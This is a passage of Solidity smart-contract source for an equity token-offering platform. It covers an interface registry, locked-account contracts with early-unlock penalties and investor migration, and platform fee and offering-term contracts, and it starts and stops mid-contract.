mapping(bytes4 => address) private _singletons;
mapping(bytes4 =>
mapping(address => bool)) private _collections;
mapping(address => bytes4[]) private _instances;
constructor(
IAccessPolicy accessPolicy,
IEthereumForkArbiter forkArbiter
)
Agreement(accessPolicy, forkArbiter)
public
{
setSingletonPrivate(KNOWN_INTERFACE_ACCESS_POLICY, accessPolicy);
setSingletonPrivate(KNOWN_INTERFACE_FORK_ARBITER, forkArbiter);
}
function getSingleton(bytes4 interfaceId)
public
constant
returns (address)
{
return _singletons[interfaceId];
}
function getManySingletons(bytes4[] interfaceIds)
public
constant
returns (address[])
{
address[] memory addresses = new address[](interfaceIds.length);
uint256 idx;
while(idx < interfaceIds.length) {
addresses[idx] = _singletons[interfaceIds[idx]];
idx += 1;
}
return addresses;
}
function isSingleton(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _singletons[interfaceId] == instance;
}
function isInterfaceCollectionInstance(bytes4 interfaceId, address instance)
public
constant
returns (bool)
{
return _collections[interfaceId][instance];
}
function isAnyOfInterfaceCollectionInstance(bytes4[] interfaceIds, address instance)
public
constant
returns (bool)
{
uint256 idx;
while(idx < interfaceIds.length) {
if (_collections[interfaceIds[idx]][instance]) {
return true;
}
idx += 1;
}
return false;
}
function getInterfacesOfInstance(address instance)
public
constant
returns (bytes4[] interfaces)
{
return _instances[instance];
}
function setSingleton(bytes4 interfaceId, address instance)
public
only(ROLE_UNIVERSE_MANAGER)
{
setSingletonPrivate(interfaceId, instance);
}
function setManySingletons(bytes4[] interfaceIds, address[] instances)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
uint256 idx;
while(idx < interfaceIds.length) {
setSingletonPrivate(interfaceIds[idx], instances[idx]);
idx += 1;
}
}
function setCollectionInterface(bytes4 interfaceId, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
setCollectionPrivate(interfaceId, instance, set);
}
function setInterfaceInManyCollections(bytes4[] interfaceIds, address instance, bool set)
public
only(ROLE_UNIVERSE_MANAGER)
{
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instance, set);
idx += 1;
}
}
function setCollectionsInterfaces(bytes4[] interfaceIds, address[] instances, bool[] set_flags)
public
only(ROLE_UNIVERSE_MANAGER)
{
require(interfaceIds.length == instances.length);
require(interfaceIds.length == set_flags.length);
uint256 idx;
while(idx < interfaceIds.length) {
setCollectionPrivate(interfaceIds[idx], instances[idx], set_flags[idx]);
idx += 1;
}
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x8b57bfe21a3ef4854e19d702063b6cea03fa514162f8ff43fde551f06372fefd, 0);
}
function accessPolicy() public constant returns (IAccessPolicy) {
return IAccessPolicy(_singletons[KNOWN_INTERFACE_ACCESS_POLICY]);
}
function forkArbiter() public constant returns (IEthereumForkArbiter) {
return IEthereumForkArbiter(_singletons[KNOWN_INTERFACE_FORK_ARBITER]);
}
function neumark() public constant returns (Neumark) {
return Neumark(_singletons[KNOWN_INTERFACE_NEUMARK]);
}
function etherToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_ETHER_TOKEN]);
}
function euroToken() public constant returns (IERC223Token) {
return IERC223Token(_singletons[KNOWN_INTERFACE_EURO_TOKEN]);
}
function etherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ETHER_LOCK];
}
function euroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_EURO_LOCK];
}
function icbmEtherLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_ETHER_LOCK];
}
function icbmEuroLock() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_ICBM_EURO_LOCK];
}
function identityRegistry() public constant returns (address) {
return IIdentityRegistry(_singletons[KNOWN_INTERFACE_IDENTITY_REGISTRY]);
}
function tokenExchangeRateOracle() public constant returns (address) {
return ITokenExchangeRateOracle(_singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE]);
}
function feeDisbursal() public constant returns (address) {
return IFeeDisbursal(_singletons[KNOWN_INTERFACE_FEE_DISBURSAL]);
}
function platformPortfolio() public constant returns (address) {
return IPlatformPortfolio(_singletons[KNOWN_INTERFACE_PLATFORM_PORTFOLIO]);
}
function tokenExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_TOKEN_EXCHANGE];
}
function gasExchange() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_GAS_EXCHANGE];
}
function platformTerms() public constant returns (address) {
return _singletons[KNOWN_INTERFACE_PLATFORM_TERMS];
}
function setSingletonPrivate(bytes4 interfaceId, address instance)
private
{
require(interfaceId != KNOWN_INTERFACE_UNIVERSE, "NF_UNI_NO_UNIVERSE_SINGLETON");
address replacedInstance = _singletons[interfaceId];
if (replacedInstance != instance) {
dropInstance(replacedInstance, interfaceId);
addInstance(instance, interfaceId);
_singletons[interfaceId] = instance;
}
emit LogSetSingleton(interfaceId, instance, replacedInstance);
}
function setCollectionPrivate(bytes4 interfaceId, address instance, bool set)
private
{
if (_collections[interfaceId][instance] == set) {
return;
}
_collections[interfaceId][instance] = set;
if (set) {
addInstance(instance, interfaceId);
} else {
dropInstance(instance, interfaceId);
}
emit LogSetCollectionInterface(interfaceId, instance, set);
}
function addInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
while(idx < current.length) {
if (current[idx] == interfaceId)
return;
idx += 1;
}
current.push(interfaceId);
}
function dropInstance(address instance, bytes4 interfaceId)
private
{
if (instance == address(0)) {
return;
}
bytes4[] storage current = _instances[instance];
uint256 idx;
uint256 last = current.length - 1;
while(idx <= last) {
if (current[idx] == interfaceId) {
if (idx < last) {
current[idx] = current[last];
}
current.length -= 1;
return;
}
idx += 1;
}
}
}
contract MigrationTarget is
IMigrationTarget
{
modifier onlyMigrationSource() {
require(msg.sender == currentMigrationSource(), "NF_INV_SOURCE");
_;
}
}
contract ICBMLockedAccountMigration is
MigrationTarget
{
function migrateInvestor(
address investor,
uint256 balance,
uint256 neumarksDue,
uint256 unlockDate
)
public;
}
contract ICBMRoles {
bytes32 internal constant ROLE_LOCKED_ACCOUNT_ADMIN = 0x4675da546d2d92c5b86c4f726a9e61010dce91cccc2491ce6019e78b09d2572e;
bytes32 internal constant ROLE_WHITELIST_ADMIN = 0xaef456e7c864418e1d2a40d996ca4febf3a7e317fe3af5a7ea4dda59033bbe5c;
}
contract TimeSource {
function currentTime() internal constant returns (uint256) {
return block.timestamp;
}
}
contract ICBMLockedAccount is
AccessControlled,
ICBMRoles,
TimeSource,
Math,
IsContract,
MigrationSource,
IERC677Callback,
Reclaimable
{
enum LockState {
Uncontrolled,
AcceptingLocks,
AcceptingUnlocks,
ReleaseAll
}
struct Account {
uint256 balance;
uint256 neumarksDue;
uint256 unlockDate;
}
IERC677Token private ASSET_TOKEN;
Neumark private NEUMARK;
uint256 private LOCK_PERIOD;
uint256 private PENALTY_FRACTION;
uint256 private _totalLockedAmount;
uint256 internal _totalInvestors;
LockState private _lockState;
address private _controller;
address private _penaltyDisbursalAddress;
mapping(address => Account) internal _accounts;
event LogFundsLocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsUnlocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogPenaltyDisbursed(
address indexed disbursalPoolAddress,
uint256 amount,
address assetToken,
address investor
);
event LogLockStateTransition(
LockState oldState,
LockState newState
);
event LogInvestorMigrated(
address indexed investor,
uint256 amount,
uint256 neumarks,
uint256 unlockDate
);
modifier onlyController() {
require(msg.sender == address(_controller));
_;
}
modifier onlyState(LockState state) {
require(_lockState == state);
_;
}
modifier onlyStates(LockState state1, LockState state2) {
require(_lockState == state1 || _lockState == state2);
_;
}
constructor(
IAccessPolicy policy,
IERC677Token assetToken,
Neumark neumark,
address penaltyDisbursalAddress,
uint256 lockPeriod,
uint256 penaltyFraction
)
MigrationSource(policy, ROLE_LOCKED_ACCOUNT_ADMIN)
Reclaimable()
public
{
ASSET_TOKEN = assetToken;
NEUMARK = neumark;
LOCK_PERIOD = lockPeriod;
PENALTY_FRACTION = penaltyFraction;
_penaltyDisbursalAddress = penaltyDisbursalAddress;
}
function lock(address investor, uint256 amount, uint256 neumarks)
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
require(amount > 0);
assert(ASSET_TOKEN.transferFrom(msg.sender, address(this), amount));
Account storage account = _accounts[investor];
account.balance = addBalance(account.balance, amount);
account.neumarksDue = add(account.neumarksDue, neumarks);
if (account.unlockDate == 0) {
_totalInvestors += 1;
account.unlockDate = currentTime() + LOCK_PERIOD;
}
emit LogFundsLocked(investor, amount, neumarks);
}
function unlock()
public
onlyStates(LockState.AcceptingUnlocks, LockState.ReleaseAll)
{
unlockInvestor(msg.sender);
}
function receiveApproval(
address from,
uint256,
address _token,
bytes _data
)
public
onlyState(LockState.AcceptingUnlocks)
returns (bool)
{
require(msg.sender == _token);
require(_data.length == 0);
require(_token == address(NEUMARK));
unlockInvestor(from);
return true;
}
function controllerFailed()
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
changeState(LockState.ReleaseAll);
}
function controllerSucceeded()
public
onlyState(LockState.AcceptingLocks)
onlyController()
{
changeState(LockState.AcceptingUnlocks);
}
function setController(address controller)
public
only(ROLE_LOCKED_ACCOUNT_ADMIN)
onlyState(LockState.Uncontrolled)
{
_controller = controller;
changeState(LockState.AcceptingLocks);
}
function setPenaltyDisbursal(address penaltyDisbursalAddress)
public
only(ROLE_LOCKED_ACCOUNT_ADMIN)
{
require(penaltyDisbursalAddress != address(0));
_penaltyDisbursalAddress = penaltyDisbursalAddress;
}
function assetToken()
public
constant
returns (IERC677Token)
{
return ASSET_TOKEN;
}
function neumark()
public
constant
returns (Neumark)
{
return NEUMARK;
}
function lockPeriod()
public
constant
returns (uint256)
{
return LOCK_PERIOD;
}
function penaltyFraction()
public
constant
returns (uint256)
{
return PENALTY_FRACTION;
}
function balanceOf(address investor)
public
constant
returns (uint256, uint256, uint256)
{
Account storage account = _accounts[investor];
return (account.balance, account.neumarksDue, account.unlockDate);
}
function controller()
public
constant
returns (address)
{
return _controller;
}
function lockState()
public
constant
returns (LockState)
{
return _lockState;
}
function totalLockedAmount()
public
constant
returns (uint256)
{
return _totalLockedAmount;
}
function totalInvestors()
public
constant
returns (uint256)
{
return _totalInvestors;
}
function penaltyDisbursalAddress()
public
constant
returns (address)
{
return _penaltyDisbursalAddress;
}
function enableMigration(IMigrationTarget migration)
public
onlyStates(LockState.AcceptingLocks, LockState.AcceptingUnlocks)
{
MigrationSource.enableMigration(migration);
}
function migrate()
public
onlyMigrationEnabled()
{
Account memory account = _accounts[msg.sender];
if (account.balance == 0) {
return;
}
removeInvestor(msg.sender, account.balance);
assert(ASSET_TOKEN.approve(address(_migration), account.balance));
ICBMLockedAccountMigration(_migration).migrateInvestor(
msg.sender,
account.balance,
account.neumarksDue,
account.unlockDate
);
emit LogInvestorMigrated(msg.sender, account.balance, account.neumarksDue, account.unlockDate);
}
function reclaim(IBasicToken token)
public
{
require(token != ASSET_TOKEN);
Reclaimable.reclaim(token);
}
function addBalance(uint256 balance, uint256 amount)
internal
returns (uint256)
{
_totalLockedAmount = add(_totalLockedAmount, amount);
uint256 newBalance = balance + amount;
return newBalance;
}
function subBalance(uint256 balance, uint256 amount)
private
returns (uint256)
{
_totalLockedAmount -= amount;
return balance - amount;
}
function removeInvestor(address investor, uint256 balance)
private
{
subBalance(balance, balance);
_totalInvestors -= 1;
delete _accounts[investor];
}
function changeState(LockState newState)
private
{
assert(newState != _lockState);
emit LogLockStateTransition(_lockState, newState);
_lockState = newState;
}
function unlockInvestor(address investor)
private
{
Account memory accountInMem = _accounts[investor];
if (accountInMem.balance == 0) {
return;
}
removeInvestor(investor, accountInMem.balance);
if (_lockState == LockState.AcceptingUnlocks) {
require(NEUMARK.transferFrom(investor, address(this), accountInMem.neumarksDue));
NEUMARK.burn(accountInMem.neumarksDue);
if (currentTime() < accountInMem.unlockDate) {
require(_penaltyDisbursalAddress != address(0));
uint256 penalty = decimalFraction(accountInMem.balance, PENALTY_FRACTION);
if (isContract(_penaltyDisbursalAddress)) {
require(
ASSET_TOKEN.approveAndCall(_penaltyDisbursalAddress, penalty, "")
);
} else {
assert(ASSET_TOKEN.transfer(_penaltyDisbursalAddress, penalty));
}
emit LogPenaltyDisbursed(_penaltyDisbursalAddress, penalty, ASSET_TOKEN, investor);
accountInMem.balance -= penalty;
}
}
if (_lockState == LockState.ReleaseAll) {
accountInMem.neumarksDue = 0;
}
assert(ASSET_TOKEN.transfer(investor, accountInMem.balance));
emit LogFundsUnlocked(investor, accountInMem.balance, accountInMem.neumarksDue);
}
}
contract LockedAccount is
Agreement,
Math,
Serialization,
ICBMLockedAccountMigration,
IdentityRecord,
KnownInterfaces,
Reclaimable,
IContractId
{
struct Account {
uint112 balance;
uint112 neumarksDue;
uint32 unlockDate;
}
struct Destination {
address investor;
uint112 amount;
}
IERC223Token private PAYMENT_TOKEN;
Neumark private NEUMARK;
uint256 private LOCK_PERIOD;
uint256 private PENALTY_FRACTION;
Universe private UNIVERSE;
ICBMLockedAccount private MIGRATION_SOURCE;
IERC677Token private OLD_PAYMENT_TOKEN;
uint112 private _totalLockedAmount;
uint256 internal _totalInvestors;
mapping(address => Account) internal _accounts;
mapping(address => mapping(address => Account)) internal _commitments;
mapping(address => Destination[]) private _destinations;
event LogFundsCommitted(
address indexed investor,
address indexed commitment,
uint256 amount,
uint256 neumarks
);
event LogFundsUnlocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsLocked(
address indexed investor,
uint256 amount,
uint256 neumarks
);
event LogFundsRefunded(
address indexed investor,
address indexed commitment,
uint256 amount,
uint256 neumarks
);
event LogPenaltyDisbursed(
address indexed disbursalPoolAddress,
address indexed investor,
uint256 amount,
address paymentToken
);
event LogMigrationDestination(
address indexed investor,
address indexed destination,
uint256 amount
);
modifier onlyIfCommitment(address commitment) {
require(UNIVERSE.isInterfaceCollectionInstance(KNOWN_INTERFACE_COMMITMENT, commitment), "NF_LOCKED_ONLY_COMMITMENT");
_;
}
constructor(
Universe universe,
Neumark neumark,
IERC223Token paymentToken,
ICBMLockedAccount migrationSource
)
Agreement(universe.accessPolicy(), universe.forkArbiter())
Reclaimable()
public
{
PAYMENT_TOKEN = paymentToken;
MIGRATION_SOURCE = migrationSource;
OLD_PAYMENT_TOKEN = MIGRATION_SOURCE.assetToken();
UNIVERSE = universe;
NEUMARK = neumark;
LOCK_PERIOD = migrationSource.lockPeriod();
PENALTY_FRACTION = migrationSource.penaltyFraction();
require(keccak256(abi.encodePacked(ITokenMetadata(OLD_PAYMENT_TOKEN).symbol())) == keccak256(abi.encodePacked(PAYMENT_TOKEN.symbol())));
}
function transfer(address commitment, uint256 amount, bytes )
public
onlyIfCommitment(commitment)
{
require(amount > 0, "NF_LOCKED_NO_ZERO");
Account storage account = _accounts[msg.sender];
require(account.balance >= amount, "NF_LOCKED_NO_FUNDS");
uint112 unlockedNmkUlps = uint112(
proportion(
account.neumarksDue,
amount,
account.balance
)
);
account.balance = subBalance(account.balance, uint112(amount));
account.neumarksDue -= unlockedNmkUlps;
Account storage investment = _commitments[address(commitment)][msg.sender];
investment.balance += uint112(amount);
investment.neumarksDue += unlockedNmkUlps;
assert(PAYMENT_TOKEN.transfer(commitment, amount, abi.encodePacked(msg.sender)));
emit LogFundsCommitted(msg.sender, commitment, amount, unlockedNmkUlps);
}
function unlock()
public
{
unlockInvestor(msg.sender);
}
function receiveApproval(address from, uint256, address _token, bytes _data)
public
returns (bool)
{
require(msg.sender == _token);
require(_data.length == 0);
require(_token == address(NEUMARK), "NF_ONLY_NEU");
unlockInvestor(from);
return true;
}
function refunded(address investor)
public
{
Account memory investment = _commitments[msg.sender][investor];
if (investment.balance == 0)
return;
delete _commitments[msg.sender][investor];
Account storage account = _accounts[investor];
require(account.unlockDate > 0, "NF_LOCKED_ACCOUNT_LIQUIDATED");
account.balance = addBalance(account.balance, investment.balance);
account.neumarksDue = add112(account.neumarksDue, investment.neumarksDue);
assert(PAYMENT_TOKEN.transferFrom(msg.sender, address(this), investment.balance));
emit LogFundsRefunded(investor, msg.sender, investment.balance, investment.neumarksDue);
}
function claimed(address investor) public {
delete _commitments[msg.sender][investor];
}
function pendingCommitments(address commitment, address investor)
public
constant
returns (uint256 balance, uint256 neumarkDue)
{
Account storage i = _commitments[commitment][investor];
return (i.balance, i.neumarksDue);
}
function migrateInvestor(
address investor,
uint256 balance256,
uint256 neumarksDue256,
uint256 unlockDate256
)
public
onlyMigrationSource()
{
require(balance256 < 2**112, "NF_OVR");
uint112 balance = uint112(balance256);
assert(neumarksDue256 < 2**112);
uint112 neumarksDue = uint112(neumarksDue256);
assert(unlockDate256 < 2**32);
uint32 unlockDate = uint32(unlockDate256);
require(OLD_PAYMENT_TOKEN.transferFrom(msg.sender, address(this), balance));
IWithdrawableToken(OLD_PAYMENT_TOKEN).withdraw(balance);
if (PAYMENT_TOKEN == UNIVERSE.etherToken()) {
EtherToken(PAYMENT_TOKEN).deposit.value(balance)();
} else {
EuroToken(PAYMENT_TOKEN).deposit(this, balance, 0x0);
}
Destination[] storage destinations = _destinations[investor];
if (destinations.length == 0) {
lock(investor, balance, neumarksDue, unlockDate);
} else {
uint256 idx;
while(idx < destinations.length) {
Destination storage destination = destinations[idx];
uint112 partialAmount = destination.amount == 0 ? balance : destination.amount;
require(partialAmount <= balance, "NF_LOCKED_ACCOUNT_SPLIT_OVERSPENT");
uint112 partialNmkUlps = uint112(
proportion(
neumarksDue,
partialAmount,
balance
)
);
balance -= partialAmount;
neumarksDue -= partialNmkUlps;
lock(destination.investor, partialAmount, partialNmkUlps, unlockDate);
idx += 1;
}
require(balance == 0, "NF_LOCKED_ACCOUNT_SPLIT_UNDERSPENT");
assert(neumarksDue == 0);
delete _destinations[investor];
}
}
function setInvestorMigrationWallet(address destinationWallet)
public
{
Destination[] storage destinations = _destinations[msg.sender];
if(destinations.length > 0) {
delete _destinations[msg.sender];
}
addDestination(destinations, destinationWallet, 0);
}
function setInvestorMigrationWallets(address[] wallets, uint112[] amounts)
public
{
require(wallets.length == amounts.length);
Destination[] storage destinations = _destinations[msg.sender];
if(destinations.length > 0) {
delete _destinations[msg.sender];
}
uint256 idx;
while(idx < wallets.length) {
addDestination(destinations, wallets[idx], amounts[idx]);
idx += 1;
}
}
function getInvestorMigrationWallets(address investor)
public
constant
returns (address[] wallets, uint112[] amounts)
{
Destination[] storage destinations = _destinations[investor];
wallets = new address[](destinations.length);
amounts = new uint112[](destinations.length);
uint256 idx;
while(idx < destinations.length) {
wallets[idx] = destinations[idx].investor;
amounts[idx] = destinations[idx].amount;
idx += 1;
}
}
function currentMigrationSource()
public
constant
returns (address)
{
return address(MIGRATION_SOURCE);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x15fbe12e85e3698f22c35480f7c66bc38590bb8cfe18cbd6dc3d49355670e561, 0);
}
function ()
public
payable
{
require(msg.sender == address(OLD_PAYMENT_TOKEN));
}
function reclaim(IBasicToken token)
public
{
require(token != PAYMENT_TOKEN, "NO_PAYMENT_TOKEN_RECLAIM");
Reclaimable.reclaim(token);
}
function paymentToken()
public
constant
returns (IERC223Token)
{
return PAYMENT_TOKEN;
}
function neumark()
public
constant
returns (Neumark)
{
return NEUMARK;
}
function lockPeriod()
public
constant
returns (uint256)
{
return LOCK_PERIOD;
}
function penaltyFraction()
public
constant
returns (uint256)
{
return PENALTY_FRACTION;
}
function balanceOf(address investor)
public
constant
returns (uint256 balance, uint256 neumarksDue, uint32 unlockDate)
{
Account storage account = _accounts[investor];
return (account.balance, account.neumarksDue, account.unlockDate);
}
function totalLockedAmount()
public
constant
returns (uint256)
{
return _totalLockedAmount;
}
function totalInvestors()
public
constant
returns (uint256)
{
return _totalInvestors;
}
function addBalance(uint112 balance, uint112 amount)
internal
returns (uint112)
{
_totalLockedAmount = add112(_totalLockedAmount, amount);
return balance + amount;
}
function subBalance(uint112 balance, uint112 amount)
private
returns (uint112)
{
_totalLockedAmount = sub112(_totalLockedAmount, amount);
return sub112(balance, amount);
}
function removeInvestor(address investor, uint112 balance)
private
{
subBalance(balance, balance);
_totalInvestors -= 1;
delete _accounts[investor];
}
function unlockInvestor(address investor)
private
{
Account memory accountInMem = _accounts[investor];
if (accountInMem.balance == 0) {
return;
}
removeInvestor(investor, accountInMem.balance);
require(NEUMARK.transferFrom(investor, address(this), accountInMem.neumarksDue));
NEUMARK.burn(accountInMem.neumarksDue);
if (block.timestamp < accountInMem.unlockDate) {
address penaltyDisbursalAddress = UNIVERSE.feeDisbursal();
require(penaltyDisbursalAddress != address(0));
uint112 penalty = uint112(decimalFraction(accountInMem.balance, PENALTY_FRACTION));
assert(PAYMENT_TOKEN.transfer(penaltyDisbursalAddress, penalty, abi.encodePacked(NEUMARK)));
emit LogPenaltyDisbursed(penaltyDisbursalAddress, investor, penalty, PAYMENT_TOKEN);
accountInMem.balance -= penalty;
}
assert(PAYMENT_TOKEN.transfer(investor, accountInMem.balance, ""));
emit LogFundsUnlocked(investor, accountInMem.balance, accountInMem.neumarksDue);
}
function lock(address investor, uint112 amount, uint112 neumarks, uint32 unlockDate)
private
acceptAgreement(investor)
{
require(amount > 0);
Account storage account = _accounts[investor];
if (account.unlockDate == 0) {
_totalInvestors += 1;
}
account.balance = addBalance(account.balance, amount);
account.neumarksDue = add112(account.neumarksDue, neumarks);
if (unlockDate > account.unlockDate) {
account.unlockDate = unlockDate;
}
emit LogFundsLocked(investor, amount, neumarks);
}
function addDestination(Destination[] storage destinations, address wallet, uint112 amount)
private
{
IIdentityRegistry identityRegistry = IIdentityRegistry(UNIVERSE.identityRegistry());
IdentityClaims memory claims = deserializeClaims(identityRegistry.getClaims(wallet));
require(claims.isVerified && !claims.accountFrozen, "NF_DEST_NO_VERIFICATION");
if (wallet != msg.sender) {
(,,uint256 unlockDate) = MIGRATION_SOURCE.balanceOf(wallet);
require(unlockDate == 0, "NF_DEST_NO_SQUATTING");
}
destinations.push(
Destination({investor: wallet, amount: amount})
);
emit LogMigrationDestination(msg.sender, wallet, amount);
}
function sub112(uint112 a, uint112 b) internal pure returns (uint112)
{
assert(b <= a);
return a - b;
}
function add112(uint112 a, uint112 b) internal pure returns (uint112)
{
uint112 c = a + b;
assert(c >= a);
return c;
}
}
contract ShareholderRights is IContractId {
enum VotingRule {
NoVotingRights,
Positive,
Negative,
Proportional
}
bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bool public constant HAS_DRAG_ALONG_RIGHTS = true;
bool public constant HAS_TAG_ALONG_RIGHTS = true;
bool public constant HAS_GENERAL_INFORMATION_RIGHTS = true;
VotingRule public GENERAL_VOTING_RULE;
VotingRule public TAG_ALONG_VOTING_RULE;
uint256 public LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC;
bool public HAS_FOUNDERS_VESTING;
uint256 public GENERAL_VOTING_DURATION;
uint256 public RESTRICTED_ACT_VOTING_DURATION;
uint256 public VOTING_FINALIZATION_DURATION;
uint256 public TOKENHOLDERS_QUORUM_FRAC = 10**17;
uint256 public VOTING_MAJORITY_FRAC = 10**17;
string public INVESTMENT_AGREEMENT_TEMPLATE_URL;
constructor(
VotingRule generalVotingRule,
VotingRule tagAlongVotingRule,
uint256 liquidationPreferenceMultiplierFrac,
bool hasFoundersVesting,
uint256 generalVotingDuration,
uint256 restrictedActVotingDuration,
uint256 votingFinalizationDuration,
uint256 tokenholdersQuorumFrac,
uint256 votingMajorityFrac,
string investmentAgreementTemplateUrl
)
public
{
require(uint(generalVotingRule) < 4);
require(uint(tagAlongVotingRule) < 4);
require(tokenholdersQuorumFrac < 10**18);
require(keccak256(abi.encodePacked(investmentAgreementTemplateUrl)) != EMPTY_STRING_HASH);
GENERAL_VOTING_RULE = generalVotingRule;
TAG_ALONG_VOTING_RULE = tagAlongVotingRule;
LIQUIDATION_PREFERENCE_MULTIPLIER_FRAC = liquidationPreferenceMultiplierFrac;
HAS_FOUNDERS_VESTING = hasFoundersVesting;
GENERAL_VOTING_DURATION = generalVotingDuration;
RESTRICTED_ACT_VOTING_DURATION = restrictedActVotingDuration;
VOTING_FINALIZATION_DURATION = votingFinalizationDuration;
TOKENHOLDERS_QUORUM_FRAC = tokenholdersQuorumFrac;
VOTING_MAJORITY_FRAC = votingMajorityFrac;
INVESTMENT_AGREEMENT_TEMPLATE_URL = investmentAgreementTemplateUrl;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x7f46caed28b4e7a90dc4db9bba18d1565e6c4824f0dc1b96b3b88d730da56e57, 0);
}
}
contract PlatformTerms is Math, IContractId {
uint256 public constant PLATFORM_FEE_FRACTION = 3 * 10**16;
uint256 public constant TOKEN_PARTICIPATION_FEE_FRACTION = 2 * 10**16;
uint256 public constant PLATFORM_NEUMARK_SHARE = 2;
bool public constant IS_ICBM_INVESTOR_WHITELISTED = true;
uint256 public constant MIN_TICKET_EUR_ULPS = 100 * 10**18;
uint256 public constant DATE_TO_WHITELIST_MIN_DURATION = 5 days;
uint256 public constant TOKEN_RATE_EXPIRES_AFTER = 4 hours;
uint256 public constant MIN_WHITELIST_DURATION = 0 days;
uint256 public constant MAX_WHITELIST_DURATION = 30 days;
uint256 public constant MIN_PUBLIC_DURATION = 0 days;
uint256 public constant MAX_PUBLIC_DURATION = 60 days;
uint256 public constant MIN_OFFER_DURATION = 1 days;
uint256 public constant MAX_OFFER_DURATION = 90 days;
uint256 public constant MIN_SIGNING_DURATION = 14 days;
uint256 public constant MAX_SIGNING_DURATION = 60 days;
uint256 public constant MIN_CLAIM_DURATION = 7 days;
uint256 public constant MAX_CLAIM_DURATION = 30 days;
function calculateNeumarkDistribution(uint256 rewardNmk)
public
pure
returns (uint256 platformNmk, uint256 investorNmk)
{
platformNmk = rewardNmk / PLATFORM_NEUMARK_SHARE;
return (platformNmk, rewardNmk - platformNmk);
}
function calculatePlatformTokenFee(uint256 tokenAmount)
public
pure
returns (uint256)
{
return proportion(tokenAmount, TOKEN_PARTICIPATION_FEE_FRACTION, 10**18);
}
function calculatePlatformFee(uint256 amount)
public
pure
returns (uint256)
{
return decimalFraction(amount, PLATFORM_FEE_FRACTION);
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x95482babc4e32de6c4dc3910ee7ae62c8e427efde6bc4e9ce0d6d93e24c39323, 0);
}
}
contract ETODurationTerms is IContractId {
uint32 public WHITELIST_DURATION;
uint32 public PUBLIC_DURATION;
uint32 public SIGNING_DURATION;
uint32 public CLAIM_DURATION;
constructor(
uint32 whitelistDuration,
uint32 publicDuration,
uint32 signingDuration,
uint32 claimDuration
)
public
{
WHITELIST_DURATION = whitelistDuration;
PUBLIC_DURATION = publicDuration;
SIGNING_DURATION = signingDuration;
CLAIM_DURATION = claimDuration;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x5fb50201b453799d95f8a80291b940f1c543537b95bff2e3c78c2e36070494c0, 0);
}
}
contract ETOTokenTerms is IContractId {
uint256 public MIN_NUMBER_OF_TOKENS;
uint256 public MAX_NUMBER_OF_TOKENS;
uint256 public TOKEN_PRICE_EUR_ULPS;
uint256 public MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
uint256 public constant EQUITY_TOKENS_PER_SHARE = 10000;
uint8 public constant EQUITY_TOKENS_PRECISION = 0;
constructor(
uint256 minNumberOfTokens,
uint256 maxNumberOfTokens,
uint256 tokenPriceEurUlps,
uint256 maxNumberOfTokensInWhitelist
)
public
{
require(maxNumberOfTokensInWhitelist <= maxNumberOfTokens);
require(maxNumberOfTokens >= minNumberOfTokens);
require(minNumberOfTokens >= EQUITY_TOKENS_PER_SHARE, "NF_ETO_TERMS_ONE_SHARE");
MIN_NUMBER_OF_TOKENS = minNumberOfTokens;
MAX_NUMBER_OF_TOKENS = maxNumberOfTokens;
TOKEN_PRICE_EUR_ULPS = tokenPriceEurUlps;
MAX_NUMBER_OF_TOKENS_IN_WHITELIST = maxNumberOfTokensInWhitelist;
}
function contractId() public pure returns (bytes32 id, uint256 version) {
return (0x591e791aab2b14c80194b729a2abcba3e8cce1918be4061be170e7223357ae5c, 0);
}
}
contract ETOTerms is
IdentityRecord,
Math,
IContractId
{
struct WhitelistTicket {
uint128 discountAmountEurUlps;
uint128 fullTokenPriceFrac;
}
bytes32 private constant EMPTY_STRING_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
uint256 public constant MIN_QUALIFIED_INVESTOR_TICKET_EUR_ULPS = 100000 * 10**18;
ETODurationTerms public DURATION_TERMS;
ETOTokenTerms public TOKEN_TERMS;
uint256 public EXISTING_COMPANY_SHARES;
uint256 public SHARE_NOMINAL_VALUE_EUR_ULPS;
uint256 public MIN_TICKET_EUR_ULPS;
uint256 public MAX_TICKET_EUR_ULPS;
uint256 public MAX_TICKET_SIMPLE_EUR_ULPS;
bool public ENABLE_TRANSFERS_ON_SUCCESS;
bool public ALLOW_RETAIL_INVESTORS;
uint256 public WHITELIST_DISCOUNT_FRAC;
uint256 public PUBLIC_DISCOUNT_FRAC;
string public INVESTOR_OFFERING_DOCUMENT_URL;
ShareholderRights public SHAREHOLDER_RIGHTS;
string public EQUITY_TOKEN_NAME;
string public EQUITY_TOKEN_SYMBOL;
address public WHITELIST_MANAGER;
IIdentityRegistry public IDENTITY_REGISTRY;
Universe public UNIVERSE;
uint256 private MIN_NUMBER_OF_TOKENS;
uint256 private MAX_NUMBER_OF_TOKENS;
uint256 private TOKEN_PRICE_EUR_ULPS;
